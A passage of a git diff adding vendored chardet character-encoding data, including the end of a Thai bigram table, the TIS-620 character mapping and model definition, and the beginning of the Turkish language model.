'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 38: { # '์' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 1, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 56: { # '๑' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 2, # '๑' + 59: 1, # '๒' + 60: 1, # '๕' + }, + 59: { # '๒' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 1, # '๑' + 59: 1, # '๒' + 60: 3, # '๕' + }, + 60: { # '๕' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 2, # '๑' + 59: 1, # '๒' + 60: 0, # '๕' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +TIS_620_THAI_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 182, # 'A' + 66: 106, # 'B' + 67: 107, # 'C' + 68: 100, # 'D' + 69: 183, # 'E' + 70: 184, # 'F' + 71: 185, # 'G' + 72: 101, # 'H' + 73: 94, # 'I' + 74: 186, # 'J' + 75: 187, # 'K' + 76: 108, # 'L' + 77: 109, # 'M' + 78: 110, # 'N' + 79: 111, # 'O' + 80: 188, # 'P' + 81: 189, # 'Q' + 82: 190, # 'R' + 83: 89, # 'S' + 84: 95, # 'T' + 85: 112, # 'U' + 86: 113, # 'V' + 87: 191, # 'W' + 88: 192, # 'X' + 89: 193, # 'Y' + 90: 194, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 64, # 'a' + 98: 72, # 'b' + 99: 73, # 'c' + 100: 114, # 'd' + 101: 74, # 'e' + 102: 115, # 'f' + 103: 116, # 'g' + 104: 102, # 'h' + 105: 81, # 'i' + 106: 201, # 'j' + 107: 117, # 'k' + 108: 90, # 'l' + 109: 103, # 'm' + 110: 78, # 'n' + 111: 82, # 'o' + 112: 96, # 'p' + 113: 202, # 'q' + 114: 91, # 'r' + 115: 79, # 's' + 116: 84, # 't' + 117: 104, # 'u' + 118: 105, # 'v' + 119: 97, # 'w' + 120: 98, # 'x' + 121: 92, # 'y' + 122: 203, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 209, # '\x80' + 129: 210, # '\x81' + 130: 211, # '\x82' + 131: 212, # '\x83' + 132: 213, # '\x84' + 133: 88, # '\x85' + 134: 214, # '\x86' + 135: 215, # '\x87' + 136: 216, # '\x88' + 137: 217, # '\x89' + 138: 218, # '\x8a' + 139: 219, # '\x8b' + 140: 220, # '\x8c' + 141: 118, # '\x8d' + 142: 221, # '\x8e' + 143: 222, # '\x8f' + 144: 223, # '\x90' + 145: 224, # '\x91' + 146: 99, # '\x92' + 147: 85, # '\x93' + 148: 83, # '\x94' + 149: 225, # '\x95' + 150: 226, # '\x96' + 151: 227, # '\x97' + 152: 228, # '\x98' + 153: 229, # '\x99' + 154: 230, # '\x9a' + 155: 231, # '\x9b' + 156: 232, # '\x9c' + 157: 233, # '\x9d' + 158: 234, # '\x9e' + 159: 235, # '\x9f' + 160: 236, # None + 161: 5, # 'ก' + 162: 30, # 'ข' + 163: 237, # 'ฃ' + 164: 24, # 'ค' + 165: 238, # 'ฅ' + 166: 75, # 'ฆ' + 167: 8, # 'ง' + 168: 26, # 'จ' + 169: 52, # 'ฉ' + 170: 34, # 'ช' + 171: 51, # 'ซ' + 172: 119, # 'ฌ' + 173: 47, # 'ญ' + 174: 58, # 'ฎ' + 175: 57, # 'ฏ' + 176: 49, # 'ฐ' + 177: 53, # 'ฑ' + 178: 55, # 'ฒ' + 179: 43, # 'ณ' + 180: 20, # 'ด' + 181: 19, # 'ต' + 182: 44, # 'ถ' + 183: 14, # 'ท' + 184: 48, # 'ธ' + 185: 3, # 'น' + 186: 17, # 'บ' + 187: 25, # 'ป' + 188: 39, # 'ผ' + 189: 62, # 'ฝ' + 190: 31, # 'พ' + 191: 54, # 'ฟ' + 192: 45, # 'ภ' + 193: 9, # 'ม' + 194: 16, # 'ย' + 195: 2, # 'ร' + 196: 61, # 'ฤ' + 197: 15, # 'ล' + 198: 239, # 'ฦ' + 199: 12, # 'ว' + 200: 42, # 'ศ' + 201: 46, # 'ษ' + 202: 18, # 'ส' + 203: 21, # 'ห' + 204: 76, # 'ฬ' + 205: 4, # 'อ' + 206: 66, # 'ฮ' + 207: 63, # 'ฯ' + 208: 22, # 'ะ' + 209: 10, # 'ั' + 210: 1, # 'า' + 211: 36, # 'ำ' + 212: 23, # 'ิ' + 213: 13, # 'ี' + 214: 40, # 'ึ' + 215: 27, # 'ื' + 216: 32, # 'ุ' + 217: 35, # 'ู' + 218: 86, # 'ฺ' + 219: 240, # None + 220: 241, # None + 221: 242, # None + 222: 243, # None + 223: 244, # '฿' + 224: 11, # 'เ' + 225: 28, # 'แ' + 226: 41, # 'โ' + 227: 29, # 'ใ' + 228: 33, # 'ไ' + 229: 245, # 'ๅ' + 230: 50, # 'ๆ' + 231: 37, # '็' + 232: 6, # '่' + 233: 7, # '้' + 234: 67, # '๊' + 235: 77, # '๋' + 236: 38, # '์' + 237: 93, # 'ํ' + 238: 246, # '๎' + 239: 247, # '๏' + 240: 68, # '๐' + 241: 56, # '๑' + 242: 59, # '๒' + 243: 65, # '๓' + 244: 69, # '๔' + 245: 60, # '๕' + 246: 70, # '๖' + 247: 80, # '๗' + 248: 71, # '๘' + 249: 87, # '๙' + 250: 248, # '๚' + 251: 249, # '๛' + 252: 250, # None + 253: 251, # None + 254: 252, # None + 255: 253, # None +} + +TIS_620_THAI_MODEL = SingleByteCharSetModel(charset_name='TIS-620', + language='Thai', + char_to_order_map=TIS_620_THAI_CHAR_TO_ORDER, + language_model=THAI_LANG_MODEL, + typical_positive_ratio=0.926386, + keep_ascii_letters=False, + alphabet='กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛') + diff --git a/src/thirdparty/chardet/langturkishmodel.py b/src/thirdparty/chardet/langturkishmodel.py new file mode 100644 index 0000000000..94e39f5e22 --- /dev/null +++ b/src/thirdparty/chardet/langturkishmodel.py @@ -0,0 +1,4383 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +TURKISH_LANG_MODEL = { + 23: { # 'A' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 37: { # 'B' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 47: { # 'C' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 39: { # 'D' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 0, # 'ş' + }, + 29: { # 'E' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 52: { # 'F' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 1, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 2, # 'ş' + }, + 36: { # 'G' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 2, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 1, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 45: { # 'H' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 2, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 2, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 53: { # 'I' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 60: { # 'J' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 